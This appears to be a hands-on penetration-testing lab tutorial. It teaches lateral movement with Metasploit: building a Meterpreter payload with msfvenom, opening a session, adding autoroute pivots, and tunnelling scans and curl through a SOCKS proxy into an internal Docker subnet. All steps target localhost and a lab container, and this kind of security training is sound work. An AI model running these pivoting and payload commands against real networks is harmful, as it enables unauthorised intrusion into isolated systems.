Introduction
Lateral movement is a critical phase in penetration testing where an attacker uses a compromised system to access other hosts on the same internal network. Often, these internal networks are isolated and cannot be accessed directly from the outside.
The important conceptual jump is that compromise is not just about the first host. The first host often matters because of what networks, routes, and trust relationships it can see next.
In this lab, you will learn how to perform lateral movement using the Metasploit Framework. You will simulate gaining an initial foothold on a dual-homed host, use Metasploit's Autoroute feature to pivot through your Meterpreter session, and configure a SOCKS proxy to allow external tools to interact with the hidden internal network.
Identify Internal Subnets (arp/ipconfig)
In this step, we will simulate gaining an initial foothold on a compromised server. To do this, we will generate a local payload, execute it, and catch the connection using Metasploit to establish a Meterpreter session. Once connected, we will inspect the network interfaces to identify isolated internal subnets.
First, ensure you are in your project directory and use msfvenom to generate a Linux executable payload. This payload will open a listening port on the target machine (which, in our simulation, is the local machine).
cd ~/project
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf -o payload.bin
If this is your first time using Metasploit in the current lab environment, you may see an initial setup prompt before msfvenom generates the payload. When asked whether you want to set up a new database, answer yes and wait for the setup to finish.
Next, make the payload executable and run it in the background.
chmod +x payload.bin
./payload.bin &
Now, start the Metasploit console quietly (without the startup banner) using the -q flag.
msfconsole -q
Inside the Metasploit console, configure the multi-handler to connect to the payload you just executed.
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set RHOST 127.0.0.1
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit
You should see output indicating that a Meterpreter session has been opened.
[*] Started bind tcp handler against 127.0.0.1:4444
[*] Sending stage (3045380 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:38475 -> 127.0.0.1:4444)
With the active Meterpreter session, you can now explore the network configuration of the compromised host. Use the ipconfig command to list all network interfaces.
Enumerating interfaces and routes is the network equivalent of local privilege enumeration. You need to know what the host can reach before you can use it as a pivot.
meterpreter > ipconfig
Look through the output for different subnets. In this environment, you will typically see the main VM network on eth0 and a Docker bridge subnet such as 172.17.0.0/16 on docker0. Those are the routes that Meterpreter can often discover and pivot through automatically. You can also check the ARP cache to see if the host has communicated with nearby devices.
meterpreter > arp
Keep this Meterpreter session open, as we will use it in the next step to configure our routing.
Add Autoroute via Meterpreter
In this step, we will configure Metasploit to route traffic through our active Meterpreter session. In this lab environment, the autoroute module can inspect the compromised host's routing table and automatically add the subnets it discovers. This process is known as pivoting, and it allows us to attack networks that are reachable from the compromised host.
Autoroute is valuable because it makes the framework session-aware. Once the routes exist, Metasploit can automatically choose the compromised host as the path toward those hidden subnets.
First, background your current Meterpreter session so you can return to the main Metasploit prompt.
meterpreter > background
You will see a message confirming that session 1 has been backgrounded. Now, load the autoroute post-exploitation module.
msf6 exploit(multi/handler) > use post/multi/manage/autoroute
Configure the module by specifying the session ID you want to route the traffic through, then run it. In this environment, the module will search the host routing table and add the subnets it finds automatically.
msf6 post(multi/manage/autoroute) > set SESSION 1
msf6 post(multi/manage/autoroute) > run
You should see output indicating that one or more routes were added from the host routing table. A common result in this environment looks like this:
[*] Running module against 127.0.0.1
[*] Searching for subnets to autoroute.
[+] Route added to subnet 172.16.50.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 172.17.0.0/255.255.0.0 from host's routing table.
[*] Post module execution completed
To verify that the route has been correctly registered within Metasploit, you can print the active routing table.
msf6 post(multi/manage/autoroute) > route print
The output will display the subnets that were mapped to Session 1. Any Metasploit module executed against an IP address in one of those ranges will now automatically tunnel through the compromised host.
Configure SOCKS Proxy in Metasploit
While the autoroute feature is excellent for Metasploit's built-in modules, it does not automatically route traffic for external command-line tools (like curl or nmap). To achieve this, we need to set up a SOCKS proxy server within Metasploit.
In this step, we will start a SOCKS proxy and configure the proxychains tool to use it.
Still within your Metasploit console, load the SOCKS proxy auxiliary module.
msf6 post(multi/manage/autoroute) > use auxiliary/server/socks_proxy
Configure the proxy to listen on your local loopback address (127.0.0.1) on port 1080. We will use SOCKS version 4a.
msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
msf6 auxiliary(server/socks_proxy) > set VERSION 4a
Run the proxy server as a background job using the -j flag.
msf6 auxiliary(server/socks_proxy) > run -j
You will see a message confirming that the SOCKS proxy is running in the background.
[*] Auxiliary module running as background job 0.
[*] Starting the SOCKS proxy server
Leave the Metasploit console running. Open a new terminal tab in your LabEx environment to configure proxychains.
In the new terminal, open the proxychains configuration file using the nano text editor with sudo privileges.
sudo nano /etc/proxychains4.conf
Scroll to the very bottom of the file. You will find a [ProxyList] section. By default, it might have an entry like socks4 127.0.0.1 9050. Modify this line (or add a new one) to match the port we configured in Metasploit:
socks4 127.0.0.1 1080
Save the file by pressing Ctrl+O, hit Enter to confirm, and then exit nano by pressing Ctrl+X.
Scan Internal Network via Pivot
In this final step, we will utilize both the Metasploit autoroute and the SOCKS proxy to interact with the Docker bridge network. Docker may assign a slightly different IP address each time the container starts, so the setup saved the real target IP in ~/project/internal_target_ip.txt.
In your second terminal, you can confirm the target IP at any time with:
cat ~/project/internal_target_ip.txt
First, let's use a built-in Metasploit module to scan the target. Return to your first terminal tab where Metasploit is running.
Load the TCP port scanner module and configure it to scan port 80 on the internal target.
msf6 auxiliary(server/socks_proxy) > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS <target-ip-from-file>
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 80
msf6 auxiliary(scanner/portscan/tcp) > run
Because we configured the autoroute in Step 2, Metasploit knows to send this scan through Session 1. You should see output indicating that port 80 is open.
[+] 172.17.0.2: - 172.17.0.2:80 - TCP OPEN
[*] 172.17.0.2: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Now, let's test our SOCKS proxy. Switch back to your second terminal tab.
We will use the curl command to fetch the web page from the internal target. By prepending proxychains to our command, the traffic is forced through the SOCKS proxy (which routes it through Metasploit, and ultimately through our Meterpreter session).
proxychains curl -s http://$(cat ~/project/internal_target_ip.txt) | grep title
You should see the proxychains connection logs followed by the HTML title of the default Nginx web page hosted on the internal target.
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.17.0.2:80 ... OK
<title>Welcome to nginx!</title>
Congratulations! You have successfully pivoted through a compromised host to interact with an isolated internal network using both internal Metasploit modules and external tools.
Summary
In this lab, you explored the powerful lateral movement capabilities of the Metasploit Framework. You started by generating a payload and establishing a Meterpreter session to simulate a compromised host. You then identified an isolated internal subnet and used Metasploit's autoroute module to direct traffic through your session. Finally, you configured a SOCKS proxy and utilized proxychains to tunnel external command-line tools into the internal network. These techniques are fundamental for navigating complex network environments during penetration testing engagements.
